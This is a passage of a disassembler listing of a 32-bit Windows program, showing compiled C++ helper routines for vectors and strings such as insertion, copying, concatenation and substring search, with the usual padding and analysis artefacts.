sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401BAE
mov ecx, edi
call sub_401A46
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409610 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409660 proc near ; CODE XREF: sub_40191Aj
var_40 = byte ptr -40h
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
nop
call near ptr 760A0430h
lea edx, [esp+48h+var_34]
push offset dword_440088
push edx
call sub_437B22
sub_409660 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4096E0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4097AB
mov ecx, esi
call sub_401983
cmp edi, eax
jnb short loc_409713
mov ecx, esi
call sub_401983
mov ebp, eax
jmp short loc_409715
; ---------------------------------------------------------------------------
loc_409713: ; CODE XREF: sub_4096E0+26j
mov ebp, edi
loc_409715: ; CODE XREF: sub_4096E0+31j
mov ecx, esi
call sub_401983
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CC1
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016E0
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401983
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4097AB: ; CODE XREF: sub_4096E0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409809
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409809: ; CODE XREF: sub_4096E0+D8j
test edi, edi
jbe short loc_409843
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016E0
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CDF
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409843: ; CODE XREF: sub_4096E0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_4096E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098B0 proc near ; CODE XREF: sub_401717j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4098D0
loc_4098C1: ; CODE XREF: sub_4098B0+1Ej
push esi
mov ecx, edi
call sub_402090
add esi, 4
cmp esi, ebx
jnz short loc_4098C1
loc_4098D0: ; CODE XREF: sub_4098B0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4098B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098F0 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4098F0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_402090j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409910 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409930 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409962
push edi
mov edi, [esp+10h+arg_8]
loc_409946: ; CODE XREF: sub_409930+27j
push esi
push edi
mov ecx, ebx
call sub_4015B4
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409946
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_409930+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409930 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409980 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4099A7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_409996: ; CODE XREF: sub_409980+23j
push ebx
push esi
mov ecx, ebp
call sub_4015B4
add esi, 4
dec edi
jnz short loc_409996
pop esi
pop ebx
loc_4099A7: ; CODE XREF: sub_409980+Aj
pop edi
pop ebp
retn 0Ch
sub_409980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099C0 proc near ; CODE XREF: sub_401CC1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402059
sub_4099C0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4099F0 proc near ; CODE XREF: sub_4015B4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_4099F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A20 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_409A3D
mov edx, [esp+arg_8]
push esi
loc_409A31: ; CODE XREF: sub_409A20+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409A31
pop esi
locret_409A3D: ; CODE XREF: sub_409A20+Aj
retn
sub_409A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A50 proc near ; CODE XREF: sub_401CDFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409A72
mov eax, [esp+arg_8]
push esi
loc_409A61: ; CODE XREF: sub_409A50+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409A61
pop esi
retn
; ---------------------------------------------------------------------------
loc_409A72: ; CODE XREF: sub_409A50+Aj
mov eax, [esp+arg_8]
retn
sub_409A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409AB0 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_409ABA
xor eax, eax
loc_409ABA: ; CODE XREF: sub_409AB0+6j
shl eax, 2
push eax
call sub_437AEA
sub_409AB0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409AFB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409AFB: ; CODE XREF: sub_409AE0+11j
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B10 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov al, byte_44915A
push esi
test al, al
mov esi, ecx
jz short loc_409B46
push edi
nop
call near ptr 2841874h
mov edi, dword_5118CC
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409B46: ; CODE XREF: sub_409B10+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409B10 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_401CEEj
mov al, byte_44915A
push esi
test al, al
mov esi, ecx
jz short loc_409B9F
call near ptr 2850000h
nop
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409B9F: ; CODE XREF: sub_409B80+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409B80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_40142Ej
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43F010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409BF0: ; CODE XREF: ___:00402081j
; ___:loc_40218Fj
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409C08
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C08: ; CODE XREF: ___:00409BFDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C20 proc near ; CODE XREF: sub_401870j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C20 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C60 proc near ; CODE XREF: sub_4014D3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FDC
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409CA0 proc near ; CODE XREF: sub_402112j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4447F4
push ecx
mov dword ptr [esi], offset off_43F010
nop
call sub_5F76F7
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409CA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D10 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43F010
cmp eax, edi
jz short loc_409D2C
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D2C: ; CODE XREF: sub_409D10+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409D3F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D3F: ; CODE XREF: sub_409D10+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409D10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D60 proc near ; CODE XREF: sub_4015E1j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409DCA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409D8A
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D8A: ; CODE XREF: sub_409D60+1Fj
lea ebx, [ebp+2]
push ebx
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0C9E89052h, 837783DCh
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409DCA: ; CODE XREF: sub_409D60+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409D60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E00 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_409E00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409E30: ; CODE XREF: ___:00401A5Aj
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4447F4
push ecx
nop
call sub_5F76F7
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015E1
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E80 proc near ; CODE XREF: sub_401AAFj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409F12
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409F12
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409F0F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409F0F: ; CODE XREF: sub_409E80+84j
mov [ebx+9], ebp
loc_409F12: ; CODE XREF: sub_409E80+Cj
; sub_409E80+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409E80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F50 proc near ; CODE XREF: sub_4016C7j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401AAF
pop esi
retn 4
sub_409F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F80 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4447F4
push ecx
call sub_5F76F7
nop
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401AAF
pop esi
add esp, 10h
retn 4
sub_409F80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409FE7
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409FE7: ; CODE XREF: sub_409FD0+7j
mov eax, [ecx+9]
push ebx
loc_409FEB: ; CODE XREF: sub_409FD0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_40A016
test cl, cl
jz short loc_40A00F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_40A016
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409FEB
loc_40A00F: ; CODE XREF: sub_409FD0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A016: ; CODE XREF: sub_409FD0+23j
; sub_409FD0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A040 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A070 proc near ; CODE XREF: sub_40150Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_40A083
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_40A083: ; CODE XREF: sub_40A070+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_40A070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0B0 proc near ; CODE XREF: sub_4021D0j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A0B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0E0 proc near ; CODE XREF: sub_401CD0j
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A0F3
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A0F3: ; CODE XREF: sub_40A0E0+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A0E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A152
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015E1
loc_40A152: ; CODE XREF: sub_40A110+13j
add esp, 2000h
retn
sub_40A110 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_401D34j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A180 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1A0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_511AEC
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx ; strchr
add esp, 8
test eax, eax
jnz short loc_40A1C4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strchr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A1A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401816
retn 4
sub_40A1F0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A210 proc near ; CODE XREF: sub_401816j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402135
pop esi
retn 8
sub_40A210 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A240 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402135
retn 4
sub_40A240 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A260 proc near ; CODE XREF: sub_402135j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A275
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A275: ; CODE XREF: sub_40A260+Bj
mov eax, [esi+9]
mov ebx, dword_511B04
push edi
push eax
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_40A28F
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A28F: ; CODE XREF: sub_40A260+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strstr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A260 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2D0 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A2E3
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A2F6
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_437AEA
sub_40A2D0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A350 proc near ; CODE XREF: sub_4013E3j
mov eax, [ecx+11h]
retn
sub_40A350 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A370 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A370
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A3C2
mov esi, [esp+34h+arg_0]
push offset byte_448F30
mov ecx, esi
call sub_401870
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A3C2: ; CODE XREF: sub_40A370+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_40142E
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_437AEA
sub_40A370 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015E1
push ebx
call sub_437AD2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014D3
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A4A0 proc near ; CODE XREF: sub_401E47j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
